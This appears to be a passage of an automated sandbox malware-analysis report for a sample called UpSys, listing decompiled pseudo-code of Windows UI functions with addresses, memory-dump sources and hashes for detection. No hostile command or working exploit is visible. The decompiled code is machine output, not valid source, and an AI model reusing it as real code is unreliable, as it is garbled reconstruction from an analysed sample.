				E00000001140017520(_t58, _t69, 0, _t145 + 0x40, _t96, _t148);
				 *((intOrPtr*)(_t145 + 0x40)) = 0x70;
				 *((long long*)(_t145 + 0x50)) =  *((intOrPtr*)(_t145 + 0x20));
				_t99 =  *((intOrPtr*)(__r8 + 8));
				 *((intOrPtr*)(_t145 + 0x44)) = 0x40;
				 *((long long*)(_t145 + 0x48)) = _t151;
				E00000001140062190(_t99,  *_t99);
				 *((long long*)(_t145 + 0x60)) = _t155;
				 *((long long*)(_t145 + 0x68)) = _t139;
				 *(_t145 + 0x70) = r15d;
				 *((long long*)(_t145 + 0x58)) = _t99;
				_t61 = ShellExecuteExW(_t159);
				if (_t155 == _t151) goto 0x40067d79;
				0x40016a60();
				if (_t139 == _t151) goto 0x40067d86;
				0x40016a60();
				if (_t61 != r12d) goto 0x40067dbc;
				r8d = 0;
				_t34 = _t148 + 1; // 0x1
				_t77 = _t34;
				E0000000114000FCA0(_t77,  *_t142, __r8,  *((intOrPtr*)( *_t142 + 4)) + _t142, _t139, _t157);
				_t104 =  *((intOrPtr*)(_t145 + 0x100));
				E00000001140007A40(_t104, _t104, _t139, _t153);
				 *((intOrPtr*)(_t104 + 8)) = _t77;
				 *_t104 = r12d;
				goto 0x40067dff;
				if (r14b == r12b) goto 0x40067dd2;
				 *((long long*)(_t142 + 0x7a8)) =  *((intOrPtr*)(_t145 + 0xa8));
				goto 0x40067dff;
				_t105 =  *((intOrPtr*)(_t145 + 0x100));
				E00000001140007A40(_t105, _t105, _t139, _t150);
				 *((intOrPtr*)(_t105 + 8)) = 1;
				 *_t105 = 1;
				if ( *((intOrPtr*)(_t145 + 0xa8)) == _t151) goto 0x40067dff;
				E00000001140002610(CloseHandle(_t135), _t105, _t145 + 0x20);
				return 0;
			}


























                                                                                                                                                                                                        0x140067c10
                                                                                                                                                                                                        0x140067c10
                                                                                                                                                                                                        0x140067c15
                                                                                                                                                                                                        0x140067c1a
                                                                                                                                                                                                        0x140067c28
                                                                                                                                                                                                        0x140067c2f
                                                                                                                                                                                                        0x140067c37
                                                                                                                                                                                                        0x140067c3d
                                                                                                                                                                                                        0x140067c40
                                                                                                                                                                                                        0x140067c45
                                                                                                                                                                                                        0x140067c4f
                                                                                                                                                                                                        0x140067c4f
                                                                                                                                                                                                        0x140067c5a
                                                                                                                                                                                                        0x140067c5a
                                                                                                                                                                                                        0x140067c5f
                                                                                                                                                                                                        0x140067c67
                                                                                                                                                                                                        0x140067c69
                                                                                                                                                                                                        0x140067c71
                                                                                                                                                                                                        0x140067c7a
                                                                                                                                                                                                        0x140067c7c
                                                                                                                                                                                                        0x140067c84
                                                                                                                                                                                                        0x140067c8c
                                                                                                                                                                                                        0x140067c91
                                                                                                                                                                                                        0x140067c97
                                                                                                                                                                                                        0x140067ca1
                                                                                                                                                                                                        0x140067ca9
                                                                                                                                                                                                        0x140067cae
                                                                                                                                                                                                        0x140067cb4
                                                                                                                                                                                                        0x140067cbe
                                                                                                                                                                                                        0x140067cc7
                                                                                                                                                                                                        0x140067cc9
                                                                                                                                                                                                        0x140067cd2
                                                                                                                                                                                                        0x140067ce0
                                                                                                                                                                                                        0x140067ce5
                                                                                                                                                                                                        0x140067cf2
                                                                                                                                                                                                        0x140067cf7
                                                                                                                                                                                                        0x140067cfd
                                                                                                                                                                                                        0x140067d0c
                                                                                                                                                                                                        0x140067d1c
                                                                                                                                                                                                        0x140067d1f
                                                                                                                                                                                                        0x140067d29
                                                                                                                                                                                                        0x140067d2d
                                                                                                                                                                                                        0x140067d32
                                                                                                                                                                                                        0x140067d36
                                                                                                                                                                                                        0x140067d3e
                                                                                                                                                                                                        0x140067d46
                                                                                                                                                                                                        0x140067d50
                                                                                                                                                                                                        0x140067d55
                                                                                                                                                                                                        0x140067d5a
                                                                                                                                                                                                        0x140067d5f
                                                                                                                                                                                                        0x140067d64
                                                                                                                                                                                                        0x140067d6f
                                                                                                                                                                                                        0x140067d74
                                                                                                                                                                                                        0x140067d7c
                                                                                                                                                                                                        0x140067d81
                                                                                                                                                                                                        0x140067d89
                                                                                                                                                                                                        0x140067d8f
                                                                                                                                                                                                        0x140067d96
                                                                                                                                                                                                        0x140067d96
                                                                                                                                                                                                        0x140067d9f
                                                                                                                                                                                                        0x140067da4
                                                                                                                                                                                                        0x140067daf
                                                                                                                                                                                                        0x140067db4
                                                                                                                                                                                                        0x140067db7
                                                                                                                                                                                                        0x140067dba
                                                                                                                                                                                                        0x140067dbf
                                                                                                                                                                                                        0x140067dc9
                                                                                                                                                                                                        0x140067dd0
                                                                                                                                                                                                        0x140067dd2
                                                                                                                                                                                                        0x140067ddd
                                                                                                                                                                                                        0x140067def
                                                                                                                                                                                                        0x140067df2
                                                                                                                                                                                                        0x140067df7
                                                                                                                                                                                                        0x140067e04
                                                                                                                                                                                                        0x140067e2b

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CloseExecuteHandleShell
                                                                                                                                                                                                        • String ID: @
                                                                                                                                                                                                        • API String ID: 283469938-2766056989
                                                                                                                                                                                                        • Opcode ID: 63ad29aba3e316ac42e4d26b4e250998034c8bee6bdb9b1dd7e4f76d90c8a0c4
                                                                                                                                                                                                        • Instruction ID: cdb370055e1cf2b3f348ad3bcba11a0dc69233f266c5884698ae62aeca0dbd78
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 63ad29aba3e316ac42e4d26b4e250998034c8bee6bdb9b1dd7e4f76d90c8a0c4
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 18512D36604A8081EA11EF27E8557EE63A2F7C9BD4F654812EF4D0B766DE79C481C740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140055BA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 90windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 44%
                                                                                                                                                                                                        			E00000001140055BA0(long long __rbx, long long __rsi, void* __r8, void* __r11, long long _a8, long long _a16, long long _a40, intOrPtr _a48) {
				void* _v8;
				char _v72;
				long long _v80;
				long long _v88;
				long long _v96;
				intOrPtr _v104;
				intOrPtr _v108;
				long long _v120;
				char _v144;
				signed int _v148;
				signed int _v152;
				intOrPtr _t45;
				intOrPtr _t46;
				intOrPtr _t54;
				intOrPtr _t71;
				intOrPtr _t73;
				intOrPtr _t75;
				intOrPtr _t76;
				long long _t77;
				intOrPtr _t80;

				_a8 = __rbx;
				_a16 = __rsi;
				if (E0000000114004E0B0(_a48, 0x400c6a00,  &_v148,  &_v152, __r11) != 0) goto 0x40055be0;
				goto 0x40055d0d;
				_t71 =  *0x400c6aa0; // 0x0
				_t80 =  *((intOrPtr*)( *((intOrPtr*)(_t71 + _v148 * 8))));
				if ( *((long long*)(_t80 + 0x2c8)) == 0) goto 0x40055bd9;
				_t45 =  *((intOrPtr*)(_t80 + 0x2d8));
				_v144 = 5;
				if (_t45 >= 0) goto 0x40055c22;
				if ( *((intOrPtr*)(_t80 + 0x2dc)) >= 0) goto 0x40055c22;
				goto 0x40055c2e;
				_v144 = 0x27;
				r8d = 0x38;
				_v96 = r9d;
				_t53 =  >=  ? _t45 : 0;
				_t46 =  *((intOrPtr*)(_t80 + 0x2dc));
				_v104 =  >=  ? _t45 : 0;
				_t58 =  >=  ? _t46 : 0;
				_v108 =  >=  ? _t46 : 0;
				_v120 = _a40;
				E00000001140016710( >=  ? _t45 : 0, _t46,  &_v72,  &_v144,  &_v148);
				_t73 =  *((intOrPtr*)(_t80 + 0x2d0));
				_t74 =  ==  ? 0xffff0001 : _t73;
				_v80 =  ==  ? 0xffff0001 : _t73;
				_t75 =  *0x400c6ac8; // 0x3264820
				_t76 =  *((intOrPtr*)( *((intOrPtr*)(_t75 + _v152 * 8))));
				_t54 =  *((intOrPtr*)(_t76 + 0xf4));
				if (_t54 != 0x10) goto 0x40055caa;
				goto 0x40055cae;
				if (_t54 != 0x10) goto 0x40055cbe;
				_v88 = 0xffff0000;
				goto 0x40055cc7;
				_t77 =  *((intOrPtr*)(_t76 + 0x18));
				_v88 = _t77;
				r8d = 0;
				SendMessageW(??, ??, ??, ??);
				r9d = 0;
				r8d = 0;
				 *((long long*)(__r8 + 0x60)) =  *((intOrPtr*)(_t76 + 0x60));
				 *((long long*)(__r8 + 0x18)) = _t77;
				 *((short*)(__r8 + 0xec)) = SendMessageW(??, ??, ??, ??);
				 *((long long*)(_t80 + 0x2d0)) =  *((intOrPtr*)(__r8 + 0x18));
				return 1;
			}























                                                                                                                                                                                                        0x140055ba0
                                                                                                                                                                                                        0x140055ba5
                                                                                                                                                                                                        0x140055bd7
                                                                                                                                                                                                        0x140055bdb
                                                                                                                                                                                                        0x140055be5
                                                                                                                                                                                                        0x140055bf0
                                                                                                                                                                                                        0x140055bfb
                                                                                                                                                                                                        0x140055bfd
                                                                                                                                                                                                        0x140055c03
                                                                                                                                                                                                        0x140055c0d
                                                                                                                                                                                                        0x140055c16
                                                                                                                                                                                                        0x140055c20
                                                                                                                                                                                                        0x140055c24
                                                                                                                                                                                                        0x140055c30
                                                                                                                                                                                                        0x140055c36
                                                                                                                                                                                                        0x140055c3b
                                                                                                                                                                                                        0x140055c3e
                                                                                                                                                                                                        0x140055c46
                                                                                                                                                                                                        0x140055c4f
                                                                                                                                                                                                        0x140055c5a
                                                                                                                                                                                                        0x140055c63
                                                                                                                                                                                                        0x140055c68
                                                                                                                                                                                                        0x140055c6d
                                                                                                                                                                                                        0x140055c7e
                                                                                                                                                                                                        0x140055c87
                                                                                                                                                                                                        0x140055c8c
                                                                                                                                                                                                        0x140055c97
                                                                                                                                                                                                        0x140055c9a
                                                                                                                                                                                                        0x140055ca3
                                                                                                                                                                                                        0x140055ca8
                                                                                                                                                                                                        0x140055cb1
                                                                                                                                                                                                        0x140055cb3
                                                                                                                                                                                                        0x140055cbc
                                                                                                                                                                                                        0x140055cbe
                                                                                                                                                                                                        0x140055cc2
                                                                                                                                                                                                        0x140055ccc
                                                                                                                                                                                                        0x140055cd7
                                                                                                                                                                                                        0x140055cdd
                                                                                                                                                                                                        0x140055ce0
                                                                                                                                                                                                        0x140055ceb
                                                                                                                                                                                                        0x140055cef
                                                                                                                                                                                                        0x140055cf9
                                                                                                                                                                                                        0x140055d04
                                                                                                                                                                                                        0x140055d21

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend
                                                                                                                                                                                                        • String ID: '
                                                                                                                                                                                                        • API String ID: 3850602802-1997036262
                                                                                                                                                                                                        • Opcode ID: 62ed943e9ad8ed5e62033ebf18a7bc6e7a85b673514ae89b59a003416383d078
                                                                                                                                                                                                        • Instruction ID: af2acc88cdde004bac533e8c97e55f2ce9047f22f2100ea00e81f887b2f127fd
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 62ed943e9ad8ed5e62033ebf18a7bc6e7a85b673514ae89b59a003416383d078
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 51416E36204B8486EB21DF26E4547DE77A1F788BD4F544226EB9E43BA8CB39C441CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014005F040 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 81COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 27%
                                                                                                                                                                                                        			E0000000114005F040(long long __rbx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, intOrPtr* __r8, intOrPtr _a48, intOrPtr _a56, intOrPtr _a64, intOrPtr _a72, intOrPtr _a80, intOrPtr _a88) {
				void* _v24;
				char _v40;
				struct HWND__* _v48;
				intOrPtr _v56;
				intOrPtr _v64;
				intOrPtr _v72;
				intOrPtr _v80;
				intOrPtr _v88;
				intOrPtr _v96;
				long long _v104;
				intOrPtr _t38;
				intOrPtr _t44;
				intOrPtr _t48;
				intOrPtr _t50;
				void* _t57;
				void* _t58;
				void* _t61;
				intOrPtr* _t70;
				void* _t76;
				int _t83;
				struct HWND__* _t85;
				struct HWND__* _t87;

				_t58 = _t76;
				 *((long long*)(_t58 + 8)) = __rbx;
				 *((long long*)(_t58 + 0x10)) = __rbp;
				 *((long long*)(_t58 + 0x18)) = __rsi;
				 *((long long*)(_t58 + 0x20)) = __rdi;
				r14d = 0;
				_t70 = __r8;
				_t61 = __rdx;
				if ( *((intOrPtr*)(__rdx + 0x290)) == _t87) goto 0x4005f079;
				goto 0x4005f18d;
				_t44 = _a80;
				_t45 =  ==  ? r14d : _t44;
				_t46 = ( ==  ? r14d : _t44) | 0x04010000;
				_t38 = E00000001140056C20(( ==  ? r14d : _t44) | 0x04010000, _t44 - 0xffffffff, __rdx);
				r8d = _a88;
				r12d = _a72;
				r13d = _a48;
				_v40 = 1;
				_v48 = _t87;
				_v56 = r9d;
				_t48 = _a56;
				r8d =  ==  ? r14d : r8d;
				_t50 =  ==  ? 0x96 : _a64;
				r12d =  ==  ? 0x96 : r12d;
				_v64 = r12d;
				_v72 = _t50;
				_v80 = _t48;
				_v88 = r13d;
				_v96 = _t38;
				_v104 = 0x4009b6c0;
				E0000000114003D230(r12d - 0xffffffff, __rdx, __rdx, L"SysTabControl32");
				 *_t70 = 0x4009b6c0;
				if (0x4009b6c0 == _t87) goto 0x4005f072;
				_v88 = 0x20;
				r9d = _t48;
				r8d = r13d;
				_v96 = r12d;
				_v104 = _t50;
				SetWindowPos(_t87, _t85, _t83, ??);
				 *(_t61 + 0x298) =  *(_t61 + 0x298) | 0xffffffff;
				 *(_t61 + 0x29c) =  *(_t61 + 0x29c) | 0xffffffff;
				 *((long long*)(_t61 + 0x290)) =  *_t70;
				 *((intOrPtr*)(_t61 + 0x2a0)) = r14d;
				 *((char*)(_t61 + 0x2a4)) = 1;
				_t57 =  *0x400c6a08 - r14d; // 0x0
				if (_t57 != 0) goto 0x4005f18b;
				 *((short*)(_t70 + 0xea)) = 0x300;
				return 1;
			}

























                                                                                                                                                                                                        0x14005f040
                                                                                                                                                                                                        0x14005f043
                                                                                                                                                                                                        0x14005f047
                                                                                                                                                                                                        0x14005f04b
                                                                                                                                                                                                        0x14005f04f
                                                                                                                                                                                                        0x14005f05d
                                                                                                                                                                                                        0x14005f063
                                                                                                                                                                                                        0x14005f066
                                                                                                                                                                                                        0x14005f070
                                                                                                                                                                                                        0x14005f074
                                                                                                                                                                                                        0x14005f079
                                                                                                                                                                                                        0x14005f08a
                                                                                                                                                                                                        0x14005f08e
                                                                                                                                                                                                        0x14005f094
                                                                                                                                                                                                        0x14005f099
                                                                                                                                                                                                        0x14005f0a8
                                                                                                                                                                                                        0x14005f0b0
                                                                                                                                                                                                        0x14005f0b8
                                                                                                                                                                                                        0x14005f0bd
                                                                                                                                                                                                        0x14005f0c2
                                                                                                                                                                                                        0x14005f0c6
                                                                                                                                                                                                        0x14005f0dd
                                                                                                                                                                                                        0x14005f0e7
                                                                                                                                                                                                        0x14005f0ee
                                                                                                                                                                                                        0x14005f0f9
                                                                                                                                                                                                        0x14005f0fe
                                                                                                                                                                                                        0x14005f102
                                                                                                                                                                                                        0x14005f106
                                                                                                                                                                                                        0x14005f10b
                                                                                                                                                                                                        0x14005f116
                                                                                                                                                                                                        0x14005f11b
                                                                                                                                                                                                        0x14005f120
                                                                                                                                                                                                        0x14005f126
                                                                                                                                                                                                        0x14005f12c
                                                                                                                                                                                                        0x14005f134
                                                                                                                                                                                                        0x14005f137
                                                                                                                                                                                                        0x14005f141
                                                                                                                                                                                                        0x14005f146
                                                                                                                                                                                                        0x14005f14a
                                                                                                                                                                                                        0x14005f153
                                                                                                                                                                                                        0x14005f15a
                                                                                                                                                                                                        0x14005f161
                                                                                                                                                                                                        0x14005f168
                                                                                                                                                                                                        0x14005f16f
                                                                                                                                                                                                        0x14005f176
                                                                                                                                                                                                        0x14005f17d
                                                                                                                                                                                                        0x14005f184
                                                                                                                                                                                                        0x14005f1ab

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window
                                                                                                                                                                                                        • String ID: $SysTabControl32
                                                                                                                                                                                                        • API String ID: 2353593579-3143400907
                                                                                                                                                                                                        • Opcode ID: c66f86a505924082f78aae84f0bad8f2b7ac779b907ead223a0d465bb06e838f
                                                                                                                                                                                                        • Instruction ID: 94fc5c7b16eaccf468945795b624c59f8dbf663ddc5d092d88cc254bf7845b44
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c66f86a505924082f78aae84f0bad8f2b7ac779b907ead223a0d465bb06e838f
                                                                                                                                                                                                        • Instruction Fuzzy Hash: A2417C32214BC48AD760DF26E54478A7BA5F388BA4F144325EFAA53BE8CB79C451CF00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014005FBE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$Window$CreateObjectShowStock
                                                                                                                                                                                                        • String ID: Combobox
                                                                                                                                                                                                        • API String ID: 269107984-2096851135
                                                                                                                                                                                                        • Opcode ID: 5131d15d770dc0537beff2b553cb69064ba341e41492cf277e283155318e95ce
                                                                                                                                                                                                        • Instruction ID: c39592053851248c8d4d8d4b4b80a510e2cbb794e45d94b8faba8ce3bd2fcc78
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 5131d15d770dc0537beff2b553cb69064ba341e41492cf277e283155318e95ce
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 00316F767147C48AE761CF26F444B8AB7A5F3997D0F648225EB9943BA4DB39D840CF00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140060180 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: LengthMessageSendTextWindow
                                                                                                                                                                                                        • String ID: edit
                                                                                                                                                                                                        • API String ID: 2978978980-2167791130
                                                                                                                                                                                                        • Opcode ID: f51b9f49056007fef76ec882c6ddd238d3718afc014c6eb48f9f7c0e2bf75e27
                                                                                                                                                                                                        • Instruction ID: 6e9a3307cba11c1a0b34863024fd55e0fbceb380ead15962d5ac584b206c2b30
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f51b9f49056007fef76ec882c6ddd238d3718afc014c6eb48f9f7c0e2bf75e27
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 22313436604B808AE761CF26E45478A77A1F789790F648625FB9987BA8DB3CC8418F01
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014002E2E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 77%
                                                                                                                                                                                                        			E0000000114002E2E0(intOrPtr* __rax, long long __rbx, char* __rcx, void* __rdx, void* __rsi, void* __rbp, void* __r8, void* __r9, long long _a8) {
				signed long long _v24;
				void* _t17;
				void* _t19;
				void* _t34;
				char* _t40;
				char* _t41;
				char* _t42;
				char* _t44;
				char* _t46;
				void* _t49;
				char* _t59;

				_t49 = __rdx;
				_t46 = __rcx;
				_a8 = __rbx;
				_t59 =  *((intOrPtr*)(__r9 + 0x10));
				_t44 = __rcx;
				if (__rcx != 0) goto 0x4002e31e;
				E0000000114001EAE4(__rcx, __rax);
				_v24 = _v24 & 0x00000000;
				r9d = 0;
				r8d = 0;
				 *__rax = 0x16;
				E0000000114001EA14(__rax, __rcx, __rcx, __rdx, __rsi, __rbp, __r8);
				goto 0x4002e3ae;
				if (_t49 == 0) goto 0x4002e2f6;
				 *_t46 = 0;
				_t16 =  >  ? r8d : 0;
				_t17 = ( >  ? r8d : 0) + 1;
				if (_t49 - __rax > 0) goto 0x4002e344;
				_t19 = E0000000114001EAE4(_t49 - __rax, __rax);
				goto 0x4002e300;
				 *_t46 = 0x30;
				_t5 = _t46 + 1; // 0x1
				_t40 = _t5;
				goto 0x4002e369;
				if ( *_t59 == 0) goto 0x4002e35c;
				goto 0x4002e361;
				 *_t40 = 0x30;
				_t41 = _t40 + 1;
				r8d = r8d - 1;
				_t34 = r8d;
				if (_t34 > 0) goto 0x4002e34d;
				 *_t41 = 0;
				if (_t34 < 0) goto 0x4002e388;
				if ( *((char*)(_t59 + 1)) - 0x35 < 0) goto 0x4002e388;
				goto 0x4002e37e;
				 *_t41 = 0x30;
				_t42 = _t41 - 1;
				if ( *_t42 == 0x39) goto 0x4002e37b;
				 *_t42 =  *_t42 + 1;
				if ( *_t44 != 0x31) goto 0x4002e393;
				 *((intOrPtr*)(__r9 + 4)) =  *((intOrPtr*)(__r9 + 4)) + 1;
				goto 0x4002e3ac;
				_t8 = _t44 + 1; // 0x1
				E00000001140017C00(_t19, _t8);
				_t9 = _t44 + 1; // 0x1
				_t10 = _t42 + 1; // 0x1
				E00000001140016710(0x30,  *_t44 - 0x31, _t44, _t9, _t10);
				return 0;
			}














                                                                                                                                                                                                        0x14002e2e0
                                                                                                                                                                                                        0x14002e2e0
                                                                                                                                                                                                        0x14002e2e0
                                                                                                                                                                                                        0x14002e2ea
                                                                                                                                                                                                        0x14002e2ee
                                                                                                                                                                                                        0x14002e2f4
                                                                                                                                                                                                        0x14002e2f6
                                                                                                                                                                                                        0x14002e300
                                                                                                                                                                                                        0x14002e306
                                                                                                                                                                                                        0x14002e309
                                                                                                                                                                                                        0x14002e310
                                                                                                                                                                                                        0x14002e312
                                                                                                                                                                                                        0x14002e319
                                                                                                                                                                                                        0x14002e321
                                                                                                                                                                                                        0x14002e328
                                                                                                                                                                                                        0x14002e32b
                                                                                                                                                                                                        0x14002e32f
                                                                                                                                                                                                        0x14002e336
                                                                                                                                                                                                        0x14002e338
                                                                                                                                                                                                        0x14002e342
                                                                                                                                                                                                        0x14002e344
                                                                                                                                                                                                        0x14002e347
                                                                                                                                                                                                        0x14002e347
                                                                                                                                                                                                        0x14002e34b
                                                                                                                                                                                                        0x14002e351
                                                                                                                                                                                                        0x14002e35a
                                                                                                                                                                                                        0x14002e361
                                                                                                                                                                                                        0x14002e363
                                                                                                                                                                                                        0x14002e366
                                                                                                                                                                                                        0x14002e369
                                                                                                                                                                                                        0x14002e36c
